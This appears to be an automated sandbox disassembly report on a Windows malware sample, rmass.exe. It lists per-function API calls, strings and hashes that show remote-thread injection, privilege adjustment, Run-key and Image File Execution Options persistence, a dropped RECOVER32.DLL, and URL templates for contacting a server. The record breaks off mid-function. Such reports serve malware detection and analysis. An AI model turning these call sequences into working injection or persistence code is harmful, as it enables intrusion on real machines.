GetProcAddress.KERNEL32(?,CreateRemoteThread), ref: 00403724
LoadLibraryA.KERNEL32(ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 00403792
GetProcAddress.KERNEL32(00000000,ntdll.dll), ref: 0040379A
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 004037AA
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 004037BA
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 004037CA
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,00000000,RtlAdjustPrivilege,00000000,NtShutdownSystem,00000000,NtWriteVirtualMemory,00000000,ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 004037E8
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403814
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403829
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?,?,CreateRemoteThread), ref: 00403871
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 004038DA
CloseHandle.KERNEL32(?,?,CreateRemoteThread), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981

Strings

NtWriteVirtualMemory, xrefs: 00403752, 0040379F
NtQueryInformationToken, xrefs: 004037FC, 00403823
NtShutdownSystem, xrefs: 00403764, 004037AF
ntdll.dll, xrefs: 0040372E, 0040378D
NtOpenProcessToken, xrefs: 004037EA, 0040380E
rasapi32.dll, xrefs: 0040398B
CreateRemoteThread, xrefs: 0040370C, 0040371E
RtlAdjustPrivilege, xrefs: 00403776, 004037BF
NtAllocateVirtualMemory, xrefs: 00403740, 00403788

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc$CurrentInformationQueryToken$AdjustCloseCountHandleLibraryLoadPrivilegeProcessStartupThreadTick
String ID: CreateRemoteThread$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$RtlAdjustPrivilege$ntdll.dll$rasapi32.dll
API String ID: 111222507-3799945703
Opcode ID: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction ID: da765254775b880a394b369aa104dbc8fe345ffdd81bae99228adbb332d89bff
Opcode Fuzzy Hash: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction Fuzzy Hash: 4B51D5A0708342AED7105B7949C5B1B2E8CAB16355F208A77F492F71D3D7BC9901C66F

Uniqueness

Uniqueness Score: -1.00%

Function 004035CF Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 132
processfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,0040AA4F), ref: 004035E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403605
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040360A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403625
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618
SD), xrefs: 004035E6
--k33p, xrefs: 0040360F

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: FileProcess$CloseCreateHandle$Process32$AddressCommandCurrentExitFirstInfoLineModuleNameNextObjectOpenProcReadSingleSizeSnapshotStartupToolhelp32Wait
String ID: --k33p$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$SD)
API String ID: 1689075337-2856972807
Opcode ID: 58b8201b5e69248158159b82d10f4ffd5d35233526b4d8d06b288244e1195521
Instruction ID: 7a41dd094c3ff64739ee37a0ce991556d765b1eacad6f410bfb2b8470c15c3ed
Opcode Fuzzy Hash: 58b8201b5e69248158159b82d10f4ffd5d35233526b4d8d06b288244e1195521
Instruction Fuzzy Hash: 10417470248745BAE730AB718C46F9F769CDF84745F50483FB289B51D2DA7C99008F6A

Uniqueness

Uniqueness Score: -1.00%

Function 004033B4 Relevance: 13.6, APIs: 9, Instructions: 95
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
NtAllocateVirtualMemory.NTDLL(00000000,?,00000000,?,00001000,00000004,0000002A,00000000,?,?), ref: 00403428
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000001,?), ref: 00403439
CreateRemoteThread.KERNELBASE(00000000,00000000,00001000,0040D264,?,00000000,00000000), ref: 0040345A
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Virtual$CloseHandleMemory$AllocAllocateCreateOpenProcessRemoteThreadWritelstrcpylstrlen
String ID:
API String ID: 3696248362-0
Opcode ID: 305fb16045e0e9a4920115689114e227f0a677ef62780b020cb0255201c42a0c
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: 305fb16045e0e9a4920115689114e227f0a677ef62780b020cb0255201c42a0c
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402886 Relevance: 70.7, APIs: 31, Strings: 9, Instructions: 697
registrytimesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 004028B5
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8), ref: 004028EB
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002), ref: 0040291A
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002), ref: 00402942
GetSystemTimeAsFileTime.KERNEL32(0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 0040295A
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 0040298D
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 004029A8
GetIpAddrTable.IPHLPAPI(00000000,00000012,00000000,00001388,?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012), ref: 004029E3
GetIpAddrTable.IPHLPAPI(?,00000012,00000000), ref: 00402A07
wsprintfA.USER32 ref: 00402A42
lstrlen.KERNEL32(?,?,%u.%u.%u.%s,0040C0D4,00000000,000F003F,004087B8,?,00000000), ref: 00402A48

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,?), ref: 00402B7B
wsprintfA.USER32 ref: 00402BE8
wsprintfA.USER32 ref: 00402C19
ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00402C58
InternetReadFile.WININET(?,?,00000100,00000000), ref: 00402C78
GetSystemTimeAsFileTime.KERNEL32(0040C160,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00402D1E
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402D3E
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402D59
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00403249

Part of subcall function 0040187B: select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
Part of subcall function 0040187B: recv.WS2_32(00000000,?,?,00000002), ref: 00401909
Part of subcall function 0040187B: recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928

RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160), ref: 00402E67
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?), ref: 00402E96
RegCloseKey.ADVAPI32(?,?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402EA1
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402ED0
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402EEB
Sleep.KERNEL32(00001388,?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?), ref: 00402EF5
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,?,?,?), ref: 004032CA
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,?,?,?), ref: 004032E5
Sleep.KERNEL32(-000927C0,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 004032FB

Part of subcall function 0040233A: lstrcpy.KERNEL32(?,?), ref: 00402377
Part of subcall function 0040233A: GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
Part of subcall function 0040233A: lstrcpy.KERNEL32(?,?), ref: 00402423
Part of subcall function 0040233A: lstrcat.KERNEL32(00000000,?), ref: 00402429
Part of subcall function 0040233A: lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
Part of subcall function 0040233A: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004028AB, 004028E1
g00d d0gg, xrefs: 00402E81
%u.%u.%u.%s, xrefs: 00402A3C
, xrefs: 00402CC7
Default Flags, xrefs: 00402914, 00402937, 00402987, 0040299D, 00402D38, 00402D4E, 00402ECA, 00402EE0, 004032C4, 004032DA
, xrefs: 00402EFF
%02X, xrefs: 00402C10
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00402E5D
http://%s.biz/d/N?, xrefs: 00402BDC

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Value$Time$File$Createwsprintf$Systemlstrcpy$AddrQuerySleepTablelstrcatrecv$CloseExitInternetPathProcessReadTemplstrlenselect
String ID: $ $%02X$%u.%u.%u.%s$Default Flags$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$g00d d0gg$http://%s.biz/d/N?
API String ID: 4185374676-436875747
Opcode ID: b5fba8802944d99ee0a136e9bc91f1077d31b69affee5356ba8f85e3c45e7b60
Instruction ID: f49b8789927b9b38f0437256646e9183e1074707ab25ab925b35c6137bae83b2
Opcode Fuzzy Hash: b5fba8802944d99ee0a136e9bc91f1077d31b69affee5356ba8f85e3c45e7b60
Instruction Fuzzy Hash: 7052B470A403199AEB30DF25CD89B9A77B5AB04704F2041FAE449BB2D1D7B89E85CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 00404E3C Relevance: 59.7, APIs: 22, Strings: 12, Instructions: 190
filestringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(%AppData%\), ref: 00404E53
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,%AppData%\), ref: 00404E6C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,%AppData%\), ref: 00404E88
GetTempPathA.KERNEL32(00000104,?,%AppData%\), ref: 00404EA8
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,%AppData%\), ref: 00404EC5
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104,?,%AppData%\), ref: 00404EE5
WriteFile.KERNEL32(?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00404F0E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00404F1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,?,?,00000000,?,40000000,00000000), ref: 00404F36
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404F7A
lstrcat.KERNEL32(?,0040B041), ref: 00404F8F
lstrcat.KERNEL32(00000000,?), ref: 00404F95
SetFileAttributesA.KERNEL32(00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,?,00000000,?,?,00000000,?,00000000), ref: 00404F9B
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,?), ref: 00404FB3
WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL), ref: 00405020
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 00405156
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405168
lstrcat.KERNEL32(?,0040B041), ref: 00405173
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000), ref: 0040518A
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000), ref: 004051A1

Strings

explorer.exe, xrefs: 00405046
P, xrefs: 00404F9A
%AppData%\, xrefs: 00404E4E, 0040519C
tmp, xrefs: 00404E66, 00404EBF
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004051AD
kernel32.dll, xrefs: 00405133
[^j, xrefs: 0040513D
jjh, xrefs: 00404FA9
RECOVER32.DLL, xrefs: 00404F84
%CommonProgramFiles%\System\, xrefs: 00405185
winlogon.exe, xrefs: 00405035
=Mr@, xrefs: 004051B2, 004051BD

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Create$EnvironmentExpandStringsTemplstrcat$CloseDirectoryHandleNameSystemWrite$AttributesPathTime
String ID: %AppData%\$%CommonProgramFiles%\System\$=Mr@$P$RECOVER32.DLL$Software\Microsoft\Windows\CurrentVersion\Run$[^j$explorer.exe$jjh$kernel32.dll$tmp$winlogon.exe
API String ID: 1558397471-3132211753
Opcode ID: 288c7e8dc3bfe68c730295e50cf1386286ef3007edf137462167106183199f56
Instruction ID: 6e69fa72e50974ad5567120783a2dabc42f4b5e147b7c46a7650ae66574607d9
Opcode Fuzzy Hash: 288c7e8dc3bfe68c730295e50cf1386286ef3007edf137462167106183199f56
Instruction Fuzzy Hash: D151867128474179E630B6618C47F9B6698DF44708F60883FB7C8B90D2DABCA9458F6E

Uniqueness

Uniqueness Score: -1.00%

Function 004043CE Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 171
stringfiletimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004043DE
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040440A
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404416
GetSystemDirectoryA.KERNEL32(?,000000FA), ref: 0040443B
lstrcat.KERNEL32(?,0040B041), ref: 0040444B
lstrcat.KERNEL32(00000000,?), ref: 00404451
lstrcpy.KERNEL32(?,%CommonProgramFiles%\System\), ref: 00404482
lstrcat.KERNEL32(00000000,?), ref: 00404488
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 0040448E
lstrcpy.KERNEL32(?,%AppData%\), ref: 004044B5
lstrcat.KERNEL32(00000000,?), ref: 004044BB
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%AppData%\,rmass.exe,?,00000104,00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?), ref: 004044C1
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 004044FD
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?), ref: 00404522
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe), ref: 00404528
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404537
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404540
GetStartupInfoA.KERNEL32(?), ref: 0040454D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC

Part of subcall function 00401000: RtlAllocateHeap.NTDLL(00000000,00000014,00401EE7), ref: 00401009

ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,Function_00001038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,00000000,00001000,Function_00001038,?,00000000,?,?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?), ref: 00404613

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618
%AppData%\, xrefs: 004044AF
rmass.exe, xrefs: 00404440, 00404470, 004044AA
%CommonProgramFiles%\System\, xrefs: 00404475

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$lstrcat$EnvironmentExpandProcessStringsTimelstrcpy$AllocateAttributesDirectoryExitHeapInfoReadSizeStartupSystemThread
String ID: %AppData%\$%CommonProgramFiles%\System\$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$rmass.exe
API String ID: 3669088281-2238819140
Opcode ID: f1dc52e4ad1be2e1858fcbc86c460463ae2f556879a2b21696f99028be479bac
Instruction ID: c1e49d937d8c5efd7fd0b864e7910445273e4a438fe921e26ff5a38db31511d0
Opcode Fuzzy Hash: f1dc52e4ad1be2e1858fcbc86c460463ae2f556879a2b21696f99028be479bac
Instruction Fuzzy Hash: BB5155B16447407AE630A6718C4AFDF729C9F84708F90883FB384B61D2EBBC95454B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00401C6A
lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00401DE1
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84280300,00000000), ref: 00401EBB
InternetCloseHandle.WININET(00000000), ref: 00401EF6

Strings

0, xrefs: 00401DD3
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D8C
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00401E60
P, xrefs: 00401D79
HTTP/1.0 200, xrefs: 00401DCD
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D93, 00401D98

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$P
API String ID: 326340279-3185374940
Opcode ID: f35d3ce6a5b3fdbb9639f77e8a6d911ed209b7cb7a7bd0807a1ebacc7e99e6bc
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: f35d3ce6a5b3fdbb9639f77e8a6d911ed209b7cb7a7bd0807a1ebacc7e99e6bc
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402646 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

